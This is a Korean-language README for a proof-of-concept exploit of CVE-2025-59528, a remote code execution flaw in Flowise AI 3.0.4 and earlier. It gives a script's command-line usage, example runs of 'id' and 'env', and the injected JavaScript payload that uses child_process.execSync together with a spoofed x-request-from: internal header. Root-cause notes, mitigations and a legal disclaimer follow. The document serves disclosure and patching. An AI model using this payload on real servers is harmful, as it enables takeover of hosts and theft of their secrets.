Flowise AI ≤ 3.0.4 버전에 대한 인증된 원격 코드 실행(RCE) 익스플로잇입니다. /api/v1/node-load-method/customMCP 엔드포인트의 취약점을 활용하여 Node.js child_process.execSync()를 통해 임의의 시스템 명령을 실행합니다. 전체 PoC 스크립트와 해결 절차를 포함합니다.
CVE ID: CVE-2025-59528
영향받는 소프트웨어: Flowise AI
취약한 버전: <= 3.0.4
수정 버전: 3.0.5 이상
심각도: Critical
작성자: r3nsi15
날짜: 2025
Flowise AI 3.0.4 이하 버전에서는 인증된 사용자가 /api/v1/node-load-method/customMCP 엔드포인트에 조작된 JavaScript 페이로드를 전송하여 호스트 서버에서 **원격 코드 실행(RCE)**을 달성할 수 있습니다.
customMCP 노드의 로드 메서드는 사용자 제어 입력을 적절한 검증(sanitization)이나 샌드박싱 없이 서버 측에서 JavaScript로 평가합니다. Node.js의 child_process.execSync를 활용하는 페이로드를 주입함으로써 공격자는 Flowise 서버 프로세스의 권한으로 임의의 운영 체제 명령을 실행할 수 있습니다.
또한 해당 엔드포인트는 x-request-from: internal 헤더가 있어야 합니다.
| 엔드포인트 | 메서드 | 인증 필요 | 용도 |
|---|---|---|---|
/api/v1/auth/login | POST | 아니요 | 인증 및 세션 획득 |
/api/v1/node-load-method/customMCP | POST | 예 (세션 쿠키) | 취약한 노드 로드 메서드 엔드포인트 |
파일: CVE-2025-59528_POC.py
requests 라이브러리pip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| 플래그 | 긴 형식 | 필수 | 설명 |
|---|---|---|---|
-e | --email | 예 | 인증된 사용자의 이메일 주소 |
-i | --url | 예 | Flowise 인스턴스의 기본 URL |
-p | --password | 예 | 인증된 사용자의 비밀번호 |
-c | --cmd | 예 | 서버에서 실행할 OS 명령 |
코드 실행 확인:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
서버 환경 변수 검색:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
이 익스플로잇은 다음 JavaScript 표현식을 mcpServerConfig 필드에 주입합니다:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — Node.js의 내장 프로세스 실행 모듈을 로드합니다.execSync('<command>') — 공격자가 제공한 OS 명령을 동기적으로 실행합니다.또한 x-request-from: internal 헤더가 요청에 추가되어, 그렇지 않으면 호출을 차단하는 내부 출처 검사를 통과합니다.
customMCP 엔드포인트는 사용자 제공 입력을 검증이나 샌드박싱 없이 서버의 JavaScript 평가 컨텍스트에 직접 전달합니다. 여기에 process.mainModule.require를 통한 Node.js 핵심 모듈(특히 child_process)에 대한 무제한 접근이 결합되어, 손쉽게 악용 가능한 RCE 경로가 생성됩니다. x-request-from 헤더 검사는 신뢰할 수 있는 소스에 대해 검증되지 않으므로 의미 있는 보안 경계를 제공하지 못합니다.
이 두 취약점은 <= 3.0.4 버전을 실행하는 Flowise 인스턴스에 대해 인증되지 않은 RCE 공격 경로로 연계될 수 있습니다:
vm2, 격리된 컨텍스트, 또는 process.mainModule 접근 제거)를 통해 위험한 Node.js 모듈(child_process, fs 등)에 대한 접근을 제한합니다.x-request-from 헤더를 검증하고 인증합니다.이 개념 증명은 교육 및 공인된 보안 연구 목적으로만 제공됩니다. 명시적인 서면 허가 없이 시스템에 이 스크립트를 사용하는 것은 불법이며 비윤리적입니다. 작성자와 기여자는 오용에 대해 어떠한 책임도 지지 않습니다.